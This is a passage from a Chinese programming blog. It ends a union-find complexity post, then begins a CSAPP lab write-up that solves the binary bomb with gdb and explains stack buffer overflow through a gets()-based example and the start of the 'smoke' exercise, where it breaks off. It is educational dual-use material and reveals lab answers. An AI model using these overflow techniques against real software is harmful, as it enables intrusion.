j)</span>:</span></div><div class="line">        p = self.find(i)</div><div class="line">        q = self.find(j)</div><div class="line">        <span class="keyword">if</span> p == q: <span class="keyword">return</span></div><div class="line">        <span class="keyword">if</span> self.rank[p] &lt; self.rank[q]:</div><div class="line">            self.parent[p] = q</div><div class="line">        <span class="keyword">elif</span> self.rank[p] &gt; self.rank[q]:</div><div class="line">            self.parent[q] = p</div><div class="line">        <span class="keyword">else</span>:</div><div class="line">            self.parent[q] = p</div><div class="line">            self.rank[p] += <span class="number">1</span></div><div class="line">        self.count -= <span class="number">1</span></div></pre></td></tr></table></figure>

<h2 id="复杂度分析">复杂度分析</h2>
<h3 id="性质与引理">性质与引理</h3>
<p>这里用的是rank，类似于height但在union过程中并不严格是树的height。初始化时我们把它设为0，可以暂时理解为从leaf跳到当前节点的hop数。后面算法分析中有关于这个rank的一些性质。</p>
<p>这个数据结构非常简单，算法过程本身也很容易懂，不过整个算法的复杂度分析可是相当碉堡……我们先来看一些直观的性质！</p>
<ol>
<li>任何节点的rank值在整个算法过程中只会增加，不会减少。这个应该一眼就能看穿吧！</li>
<li>在整个算法过程中只有root节点的rank值会增加。这个也可以在代码中发现。另外一个节点如果不是root了，以后就永远不会再变成root。</li>
<li>在find的整个路径上，节点的rank值只会单调增加。也是显而易见的。</li>
</ol>
<p>接下来是rank lemma，需要证明一下，课上老师分了两个Claim：</p>
<ol>
<li>如果x, y两个节点具有相同的rank，那么它们的subtree必须是无重合的。</li>
<li>一个rank为r的节点的subtree大小要 &gt;= 2<sup>r</sup>。</li>
</ol>
<p>Claim 1可以用反证法，如果有重合，那么有个node z既可以到达x，又可以到达y。由于路径是单一的，所以x和y在路径上必须有先后，根据前面第3点的性质，有先后rank大小就必然不一致，所以得证。<br>Claim 2从base case看，如果rank为0，那么subtree size为1，很显然成立。在后续操作中又分两种情况： a) 在union时两方的rank都没变化，因为union之后subtree size只会更大，所以也是满足下界的。b) 如果有一方rank变大了，那么表示之前两方rank值相等，所以两方之前的size都至少为2<sup>r</sup>，rank+1的那一方的size自然至少是这个值乘以2，也就是 &gt;= 2<sup>r+1</sup>啦！QED</p>
<h3 id="Hopcroft-Ullman_Theorem">Hopcroft-Ullman Theorem</h3>
<p>证完这个只是开始……首先来看下最后复杂度计算中要用到的log*函数。这个函数的计算方法就是对一个数做以2为底的log运算直到结果&lt;=1时总共做的运算的次数。这个函数增长极其缓慢，比如2<sup>265</sup>，据说是宇宙中所有粒子数之和？第一次log完265 -&gt; 第二次 8 -&gt; 第三次 3 -&gt; 第四次 1多点 所以最后结果就是5了。</p>
<p>接下来根据这个运算来建立block，老师用的block分区为{0}, {1}, {2,3,4}, {5,…,2<sup>4</sup>}, {17,…,2<sup>16</sup>}…… 每个block中最大的数做log运算后正好是前一个block中最大的数，因此一共有O(log* n)个不同的block。之所以要设置这些block是为了记录我们在find过程中每一跳所能取得的rank进展。这里还有要注意的一点是我们同时用了path compression，由于path compression会将路径上所有的点直接指向root，所以在这个compression过程中parent的rank值是只会增加不会变小的！</p>
<p>接下来我们再来定义一下good node和bad node。好的节点呢有两个条件：</p>
<ol>
<li>x或者x的parent就是root</li>
<li>rank[parent(x)]在比rank(x)更大的block中</li>
</ol>
<p>只要满足其一即可。而不满足这两个条件的就是邪恶节点了。这里老师没有分析一开始的邪恶节点是如何出现的，我自己思索了下发现root节点在union时碰到一个rank相同的另一个root时会出现一方的rank+1，而没有+1的那一方的child可能因此变成了bad node。</p>
<p>考虑我们在m次find操作中，在整个path上碰到good node数最多为O(mlog* n)，如果是bad node，由于我们有path compression，而且根据parent rank只会增加以及非root节点的rank值再也不会变化这两个特性，我们可知任何节点一旦“从良”就永远是“良民”了！那么在成为良民前我们会在路径上access bad node几次呢？考虑在block k中的bad node，那么最多不超过2<sup>k</sup>次（这里忽略了k这个比较小的数）。根据rank lemma，rank为r的节点的subtree size最小为2<sup>r</sup>，所以rank为r的节点数最多为n/2<sup>r</sup>。然后我们再计算block k中各rank的node数量之和，sum(n/2<sup>i</sup>) (k+1 &lt;= i &lt;= 2<sup>k</sup>)这个值 &lt;= n/2<sup>k</sup>。这个值与之前access的次数乘一下，就得到了n。每个block都是n，总共log* n个block，最后的结果是O(nlog* n)，加起来的结果是O((m+n)log* n)。这个证明称为Hopcroft-Ullman Theorem。</p>
<h3 id="Tarjan’s_Analysis">Tarjan’s Analysis</h3>
<p>上面这个分析过程已经让人看得有些迷茫了，不过还有更猛的……这里又引入了一个新函数，Ackermann Function：</p>
<blockquote>
<p>设定个base case A<sub>0</sub>(r) = r + 1，后面每递归一层，就是对前一层函数调用r次，比如A<sub>1</sub>(r) = A<sub>0</sub>(A<sub>0</sub>(A<sub>0</sub>(…A<sub>0</sub>(r)…)))一共调用r次A<sub>0</sub>，那就是r + r * 1也就是2r了！这样看起来也还好嘛……A<sub>2</sub>(r)同理，就是r * 2<sup>r</sup>，接下来A<sub>3</sub>(r)就有点可怕了……光2<sup>r</sup>那部分就会形成一个2的乘方的塔……这位老师说光想一想A<sub>4</sub>(r)就开始头痛了，我们也到此为止吧。</p>
</blockquote>
<p>这个Ackermann函数增长如此之快，真容易让人联想到魔兽里的大boss之一阿克蒙德啊……但是再Tarjan的分析中用的是它的反函数（r设为2），所以就成了一个增长比log*还慢的函数。基本上我们用到的数apply这个函数后都不会超过4。课上老师还比较了下这两个函数，虽然log*也很猛，但是见到阿克蒙德，真的就只能呵呵了……</p>
<p>Tarjan analysis过程与之前的Hopcroft-Ullman很像，之前是定义block，这里是用delta函数δ(x) = max k that rank[parent(x)] &gt;= A<sub>k</sub>(rank[x])，因为parent rank至少比x大，A<sub>0</sub>(r) = r + 1，所以δ(x) &gt;= 0。以此类推，当parent rank是x的两倍或更大时，δ(x) &gt;= 1，当parent rank &gt;= rank[x] * 2<sup>rank[x]</sup> 时 δ(x) &gt;= 2……</p>
<p>接下来在设定bad node条件时把跟parent在同一个block变成了跟它所有ancestors中的某个拥有node相同的delta值。还有个不太重要的附加条件，rank[x] &gt;= 2。这样在每次path compression时，这个bad node x的parent被提升到的rank至少是A<sub>k</sub>(rank[x])，这点是跟之前分析的主要不同之处！因为它改变了block的条件，所以access bad nodes时的情景也不一样了，其提升的gap也大大加强了！（我理解为加强了gap条件，再去分析access次数看是不是还能bound到一个数量以此来进一步降低这个总体复杂度的边界）在access r次之后，A<sub>k</sub>(A<sub>k</sub>(A<sub>k</sub>(…(rank[x])…)))就成了下一层的A<sub>k+1</sub>了，它终究成了一个forever good node，所以这里的access次数就成了 α(n)（A<sub>k</sub>的反函数）。后面的分析就基本一致了！bad nodes的求和为α(n) * sum(r * n / 2<sup>r</sup>) (r &gt;= 0) = C * n * α(n)。而good node的access次数计算与之前也基本一致，总体次数为：1 root + 1 child of root + 1 object with rank 1 + (1 object with δ(x) = k for each k in (0, 1, 2, …, α(n))) = O(α(n))。最后又是O((m + n) * α(n))，由于α(n)增长比log*更慢，所以基本非常接近线性复杂度了。</p>
<h2 id="八卦环节">八卦环节</h2>
<p>这个老师自己也说这个Tarjan算法分析算是这个领域中的一颗明珠……的确各种匪夷所思，但冥冥中好像就是要定义一个这样的阿克蒙德函数的感觉啊！（至少我的直觉时path compression时每次rank应该不止加1）Tarjan本人也觉得这个东西挺复杂的。既然这么接近线性复杂度，那到底是不是可以做到线性呢？后来到了89年终于有人证明了union-find是没有linear time的算法的！</p>
<p>Tarjan的原论文<a href="http://e-maxx.ru/bookz/files/dsu/Efficiency%20of%20a%20Good%20But%20Not%20Linear%20Set%20Union%20Algorithm.%20Tarjan.pdf" target="_blank" rel="external">在此</a>。证明无线性时间算法的论文是89年Fredman和Saks的’The Cell Probe Complexity of Dynamic Data Structures’。</p>
<p>另外这门课也介绍过Tarjan合作写的另一个<a href="https://class.coursera.org/algo-005/lecture/38" target="_blank" rel="external">算法</a>就是找一个无序list中第i大的element。神奇的是这篇牛逼闪闪的<a href="http://people.csail.mit.edu/rivest/pubs/BFPRT73.pdf" target="_blank" rel="external">论文</a>的五个合作者中有四个得过图灵奖……这就是传说中的全明星阵容吧…………</p>
]]></content>
    
    
      <category term="Python" scheme="http://zijie0.github.io/tags/Python/"/>
    
      <category term="Algorithms" scheme="http://zijie0.github.io/tags/Algorithms/"/>
    
      <category term="Coursera" scheme="http://zijie0.github.io/tags/Coursera/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[CSAPP - Buffer Overflow Attacks]]></title>
    <link href="http://zijie0.github.io/2014/08/04/CSAPP---Buffer-Overflow-Attacks/"/>
    <id>http://zijie0.github.io/2014/08/04/CSAPP---Buffer-Overflow-Attacks/</id>
    <published>2014-08-04T04:45:22.000Z</published>
    <updated>2014-08-10T04:57:16.000Z</updated>
    <content type="html"><![CDATA[<h2 id="Binary_Bomb">Binary Bomb</h2>
<p>上周Lab2的作业是模拟一个binary bomb，运行后提示输入密码，如果正确就会进入下一关，否则就会爆炸。目标就是通过gdb查看程序运行过程中的逻辑，找出正确的密码顺利通关。那次做作业没有做详细的笔记，就大致说一下思路吧！</p>
<p>做之前看看介绍，提到可以用 <code>objdump -d ./bomb</code> 来生成反编译后的汇编代码，然后整个程序中的各种function name基本都有了，方便后面设断点。具体的代码还是边调试边看比较直观。另外 <code>strings -t x ./bomb</code> 可以打出程序中所有定义的字符串等信息，最后一个隐藏关卡的密码就可以从里面找出来哈哈！</p>
<p>首先跑 <code>gdb ./bomb</code> 进入gdb，设置下断点：<code>b phase_1</code>，然后开始跑程序，随便输入个字符串比如’aaaa’，接下来就是不停用 <code>si</code> 或者设断点的方式看代码了。比如在第一关，可以看到进入<code>phase_1</code>后又调用了<code>strings_not_equal</code>函数，然后看一下 <code>disas</code>：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">Dump of assembler code for function strings_not_equal:</div><div class="line">   <span class="number">0x000000000040123d</span> &lt;+<span class="number">0</span>&gt;: <span class="keyword">mov</span>    %<span class="literal">rbx</span>,-<span class="number">0x18</span>(%<span class="literal">rsp</span>)</div><div class="line">   <span class="number">0x0000000000401242</span> &lt;+<span class="number">5</span>&gt;: <span class="keyword">mov</span>    %<span class="literal">rbp</span>,-<span class="number">0x10</span>(%<span class="literal">rsp</span>)</div><div class="line">   <span class="number">0x0000000000401247</span> &lt;+<span class="number">10</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">r12</span>,-<span class="number">0x8</span>(%<span class="literal">rsp</span>)</div><div class="line">   <span class="number">0x000000000040124c</span> &lt;+<span class="number">15</span>&gt;:    <span class="keyword">sub</span>    <span class="number">$0</span>x18,%<span class="literal">rsp</span></div><div class="line">=&gt; <span class="number">0x0000000000401250</span> &lt;+<span class="number">19</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">rdi</span>,%<span class="literal">rbx</span></div><div class="line">   <span class="number">0x0000000000401253</span> &lt;+<span class="number">22</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">rsi</span>,%<span class="literal">rbp</span></div><div class="line">   <span class="number">0x0000000000401256</span> &lt;+<span class="number">25</span>&gt;:    callq  <span class="number">0x401221</span> &lt;string_length&gt;</div></pre></td></tr></table></figure>


<p>这个<code>$rdi</code>寄存器（一般用来传变量给函数）里放了啥呢？</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(gdb) x /s $<span class="literal">rdi</span></div><div class="line"><span class="number">0x602f40</span> &lt;input_strings&gt;:    <span class="string">"aaaa"</span></div></pre></td></tr></table></figure>


<p>恩，原来就是我输入的内容。继续往下走。</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">   <span class="number">0x0000000000401256</span> &lt;+<span class="number">25</span>&gt;:    callq  <span class="number">0x401221</span> &lt;string_length&gt;</div><div class="line">=&gt; <span class="number">0x000000000040125b</span> &lt;+<span class="number">30</span>&gt;:    <span class="keyword">mov</span>    %<span class="number">eax</span>,%<span class="literal">r12d</span></div><div class="line">   <span class="number">0x000000000040125e</span> &lt;+<span class="number">33</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">rbp</span>,%<span class="literal">rdi</span></div><div class="line">   <span class="number">0x0000000000401261</span> &lt;+<span class="number">36</span>&gt;:    callq  <span class="number">0x401221</span> &lt;string_length&gt;</div><div class="line">   <span class="number">0x0000000000401266</span> &lt;+<span class="number">41</span>&gt;:    <span class="keyword">mov</span>    <span class="number">$0</span>x1,%<span class="number">edx</span></div><div class="line">   <span class="number">0x000000000040126b</span> &lt;+<span class="number">46</span>&gt;:    <span class="keyword">cmp</span>    %<span class="number">eax</span>,%<span class="literal">r12d</span></div></pre></td></tr></table></figure>


<p>跑完string_length后看下<code>$eax</code>里的值是啥：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(gdb) p /x <span class="variable">$eax</span></div><div class="line"><span class="variable">$6</span> = <span class="number">0</span>x4</div></pre></td></tr></table></figure>


<p>然后又挪了<code>$rbp</code>里的值去调用<code>string_length</code>，所以这里意图应该是挺明显的，就是想先比较下用户输入和正确密码的长度看看是否相等，正确密码就在<code>$rbp</code>里啦！</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(gdb) x /s $<span class="literal">rbp</span></div><div class="line"><span class="number">0x401af8</span> &lt;__dso_handle+<span class="number">496</span>&gt;:     <span class="string">"Science isn't about why, it's about why not?"</span></div></pre></td></tr></table></figure>


<p>这样就完成一关啦！如果懒得重新输入可以直接在gdb里改了密码：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">(gdb) x /s $<span class="literal">rdi</span></div><div class="line"><span class="number">0x602f40</span> &lt;input_strings&gt;:    <span class="string">"aaaa"</span></div><div class="line">(gdb) set $<span class="literal">rbp</span>=$<span class="literal">rdi</span></div><div class="line">(gdb) x /s $<span class="literal">rbp</span></div><div class="line"><span class="number">0x602f40</span> &lt;input_strings&gt;:    <span class="string">"aaaa"</span></div><div class="line">(gdb) c</div><div class="line">Continuing.</div><div class="line"> </div><div class="line">Breakpoint <span class="number">2</span>, <span class="number">0x000000000040123b</span> <span class="keyword">in</span> string_length ()</div><div class="line">(gdb) c</div><div class="line">Continuing.</div><div class="line">Phase <span class="number">1</span> defused. How about the next one?</div></pre></td></tr></table></figure>


<p>其它关卡大同小异，有时候不知道具体要输入什么还可以看看程序在调用<code>sscanf</code>时用的format string是啥。后面机关有循环，有switch表，有递归，有数组指针，链表排序之类的……有时候代码逻辑还是挺复杂的，不过只要找一下密码的话还是不难，仔细有耐心一点基本都能搞定。</p>
<h2 id="Buffer_Overflow">Buffer Overflow</h2>
<h3 id="原理">原理</h3>
<p>Lab3的作业也是用汇编来搞，不过内容变成了做buffer overflow的攻击！大致看一下原理，如下是一个手绘stack……</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="number">804854</span>e:    call    <span class="number">8048</span>b90 &lt;main&gt;</div><div class="line"><span class="number">8048553</span>:    pushl   %eax</div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x110     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x10c     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x108     <span class="string">|     123     |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%esp      <span class="string">|    0x108    |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%eip      <span class="string">|  0x804854e  |</span></div><div class="line">          <span class="string">|-------------|</span></div></pre></td></tr></table></figure>


<p>调用函数前，先把返回地址<code>pushl</code>到stack，也就是<code>call</code>的下一行<code>0x8048553</code>，把<code>%esp</code>的值改成当前的栈顶（由于stack是在高位地址，这里栈顶反而是最小地址值也就是<code>-0x4(%esp)</code>），然后跳转到被调用的函数的地址<code>0x8048b90</code>去执行代码。</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x110     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x10c     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x108     <span class="string">|     123     |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x104     <span class="string">|  0x8048553  |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%esp      <span class="string">|    0x104    |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%eip      <span class="string">|  0x8048b90  |</span></div><div class="line">          <span class="string">|-------------|</span></div></pre></td></tr></table></figure>


<p>当跑到return时<code>%eip</code>的值为<code>0x8048591</code>，返回地址会从stack上<code>pop</code>出来放到<code>%eip</code>里，同时<code>%esp</code>也会在<code>pop</code>后变回<code>0x108</code>：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="number">8048591</span>:    ret</div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x110     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x10c     <span class="string">|             |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x108     <span class="string">|     123     |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"><span class="number">0</span>x104     <span class="string">|  0x8048553  |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%esp      <span class="string">|    0x108    |</span></div><div class="line">          <span class="string">|-------------|</span></div><div class="line"> </div><div class="line">          <span class="string">|-------------|</span></div><div class="line">%eip      <span class="string">|  0x8048553  |</span></div><div class="line">          <span class="string">|-------------|</span></div></pre></td></tr></table></figure>


<p>Hmm…实际的stack要更复杂点，return address下面会跟一个<code>%ebp</code>指向的地址，里面存的是函数调用方（也就是上一个stack frame）的<code>%ebp</code>值，<code>%ebp</code>与<code>%esp</code>之间会有callee保存的寄存器内容，local variables，对它要调用的函数准备的arguments之类的信息……整个过程中<code>%ebp</code>基本就是一个基准，可以看到很多代码里会有<code>-0x18(%ebp)</code>之类的来定位stack上变量的地址，而<code>%esp</code>会一直指向栈顶，比如在读取用户输入时会建立一个数组什么的假设是<code>char[16]</code>，然后对应就会执行<code>subl $16,%esp</code>来使栈顶向下移动16bytes，这段buffer就用来存放用户的输入。例如下面的代码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">void</span> echo() {</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">4</span>];</div><div class="line">    gets(buf);</div><div class="line">    <span class="built_in">puts</span>(buf);</div><div class="line">}</div><div class="line"> </div><div class="line">echo:</div><div class="line">    pushl   %ebp            <span class="preprocessor"># Save %ebp on stack</span></div><div class="line">    movl    %esp, %ebp</div><div class="line">    pushl   %ebx            <span class="preprocessor"># Save %ebx</span></div><div class="line">    leal    -<span class="number">8</span>(%ebp), %ebx  <span class="preprocessor"># Compute buf as %ebp-8</span></div><div class="line">    subl    $<span class="number">20</span>, %esp       <span class="preprocessor"># Allocate stack space</span></div><div class="line">    movl    %ebx, (%esp)    <span class="preprocessor"># Push buf addr on stack</span></div><div class="line">    call    gets            <span class="preprocessor"># Call gets</span></div><div class="line"> </div><div class="line">                |-------------------|</div><div class="line"><span class="number">0xffffc658</span>      |    Stack Frame    |</div><div class="line">                |      <span class="keyword">for</span> main     |</div><div class="line">                |-------------------|</div><div class="line">Return Addr     | f7 | <span class="number">85</span> | <span class="number">04</span> | <span class="number">08</span> |</div><div class="line">                |-------------------|</div><div class="line"><span class="number">0xffffc638</span>      | <span class="number">58</span> | c6 | ff | ff |</div><div class="line">                |-------------------|</div><div class="line">                |     Saved %ebx    |</div><div class="line">                |-------------------|</div><div class="line">buf             | xx | xx | xx | xx |</div><div class="line">                |-------------------|</div><div class="line">                |                   |</div><div class="line">                |                   |</div><div class="line">                |                   |</div><div class="line">                |                   |</div><div class="line">                |-------------------|</div><div class="line">buf addr        |     <span class="number">0xffffc630</span>    |</div><div class="line">                |-------------------|</div></pre></td></tr></table></figure>


<p>作为业界良心，还是把图画了一下……之所以叫buffer overflow攻击，也就是因为gets在执行时如果没有检查用户输入大小而任由写入内存，当把buf那四个bytes写满后就会写到saved <code>%ebx</code>那里！如果继续往下写，就可以改变return addr，跳转到你任意想跳转到的函数地址！具体可以参考wiki上的<a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow" target="_blank" rel="external">词条</a>或者直接去看这门课的视频，老师讲的很清晰很全面！这里就不展开另外讲寄存器值保存，地址对齐之类的细节了。本来懒得画图就搜了下别人的blog，发现<a href="http://duartes.org/gustavo/blog/post/epilogues-canaries-buffer-overflows/" target="_blank" rel="external">这篇</a>里面的图画的很好……也可以参考借鉴。</p>
<p>=================== ！！！以下将进入解题剧透环节！！！ ===================</p>
<h3 id="smoke">smoke</h3>
<p>第一个挑战，预热一下，目的就是改那个return addr。由于我们要注入地址，代码之类的二进制数据，作业里还很贴心地提供了个ascii转binary的小工具：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="input"><span class="prompt">./sendstring &lt; exploit.txt &gt;</span> exploit.bytes</span></div></pre></td></tr></table></figure>


<p>只要把需要需要注入的hex码写到那个文本文件里就可以生成啦。值得注意的是在Intel CPU上是<a href="http://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F" target="_blank" rel="external">little-endian</a>的字节序，很多地方需要反过来写。我们先随便搞个输入，比如写32个a进去，生成二进制码，然后跑gdb看看：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div></pre></td><td class="code"><pre><div class="line">gdb ./bufbomb</div><div class="line"> </div><div class="line">(gdb) break getbuf</div><div class="line">(gdb) r -u <span class="number">4999723</span> &lt; exploit.bytes</div><div class="line">(gdb) <span class="literal">si</span> <span class="number">4</span></div><div class="line"> </div><div class="line">(gdb) disas</div><div class="line">Dump of assembler code for function getbuf:</div><div class="line">   <span class="number">0x0000000000400da0</span> &lt;+<span class="number">0</span>&gt;: <span class="keyword">push</span>   %<span class="literal">rbp</span></div><div class="line">   <span class="number">0x0000000000400da1</span> &lt;+<span class="number">1</span>&gt;: <span class="keyword">mov</span>    %<span class="literal">rsp</span>,%<span class="literal">rbp</span></div><div class="line">   <span class="number">0x0000000000400da4</span> &lt;+<span class="number">4</span>&gt;: <span class="keyword">sub</span>    <span class="number">$0</span>x30,%<span class="literal">rsp</span></div><div class="line">   <span class="number">0x0000000000400da8</span> &lt;+<span class="number">8</span>&gt;: <span class="keyword">lea</span>    -<span class="number">0x30</span>(%<span class="literal">rbp</span>),%<span class="literal">rdi</span></div><div class="line">=&gt; <span class="number">0x0000000000400dac</span> &lt;+<span class="number">12</span>&gt;:    callq  <span class="number">0x400cb0</span> &lt;Gets&gt;</div><div class="line">   <span class="number">0x0000000000400db1</span> &lt;+<span class="number">17</span>&gt;:    movabs <span class="number">$0</span>xcccccccccccccccd,%<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400dbb</span> &lt;+<span class="number">27</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">rax</span>,%<span class="literal">rcx</span></div><div class="line">   <span class="number">0x0000000000400dbe</span> &lt;+<span class="number">30</span>&gt;:    <span class="keyword">mul</span>    %<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400dc1</span> &lt;+<span class="number">33</span>&gt;:    <span class="keyword">shr</span>    <span class="number">$0</span>x5,%<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400dc5</span> &lt;+<span class="number">37</span>&gt;:    <span class="keyword">lea</span>    (%<span class="literal">rdx</span>,%<span class="literal">rdx</span>,<span class="number">4</span>),%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400dc9</span> &lt;+<span class="number">41</span>&gt;:    <span class="keyword">mov</span>    %<span class="literal">rcx</span>,%<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400dcc</span> &lt;+<span class="number">44</span>&gt;:    <span class="keyword">shl</span>    <span class="number">$0</span>x3,%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400dd0</span> &lt;+<span class="number">48</span>&gt;:    <span class="keyword">sub</span>    %<span class="literal">rax</span>,%<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400dd3</span> &lt;+<span class="number">51</span>&gt;:    <span class="keyword">mov</span>    <span class="number">$0</span>x24,%<span class="number">eax</span></div><div class="line">   <span class="number">0x0000000000400dd8</span> &lt;+<span class="number">56</span>&gt;:    <span class="keyword">cmp</span>    <span class="number">$0</span>x24,%<span class="literal">rdx</span></div><div class="line">   <span class="number">0x0000000000400ddc</span> &lt;+<span class="number">60</span>&gt;:    <span class="keyword">cmovae</span> %<span class="literal">rdx</span>,%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400de0</span> &lt;+<span class="number">64</span>&gt;:    <span class="keyword">xor</span>    %<span class="number">ecx</span>,%<span class="number">ecx</span></div><div class="line">   <span class="number">0x0000000000400de2</span> &lt;+<span class="number">66</span>&gt;:    <span class="keyword">add</span>    <span class="number">$0</span>x1e,%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400de6</span> &lt;+<span class="number">70</span>&gt;:    <span class="keyword">and</span>    <span class="number">$0</span>xfffffffffffffff0,%<span class="literal">rax</span></div><div class="line">   <span class="number">0x0000000000400dea</span> &lt;+<span class="number">74</span>&gt;:    <span class="keyword">sub</span>    %<span class="literal">rax</span>,%<span class="literal">rsp</span></div><div class="line">   <span class="number">0x0000000000400ded</span> &lt;+<span class="number">77</span>&gt;:    <span class="keyword">lea</span>    <span class="number">0xf</span>(%<span class="literal">rsp</span>),%<span class="literal">r8</span></div><div class="line">   <span class="number">0x0000000000400df2</span> &lt;+<span class="number">82</span>&gt;:    <span class="keyword">and</span>    <span class="number">$0</span>xfffffffffffffff0,%<span class="literal">r8</span></div><div class="line">   <span class="number">0x0000000000400df6</span> &lt;+<span class="number">86</span>&gt;:    nopw   %<span class="literal">cs</span>:<span class="number">0x0</span>(%<span class="literal">rax</span>,%<span class="literal">rax</span>,<span class="number">1</span>)</div><div class="line">   <span class="number">0x0000000000400e00</span> &lt;+<span class="number">96</span>&gt;:    movzbl -<span class="number">0x30</span>(%<span class="literal">rbp</span>,%<span class="literal">rcx</span>,<span 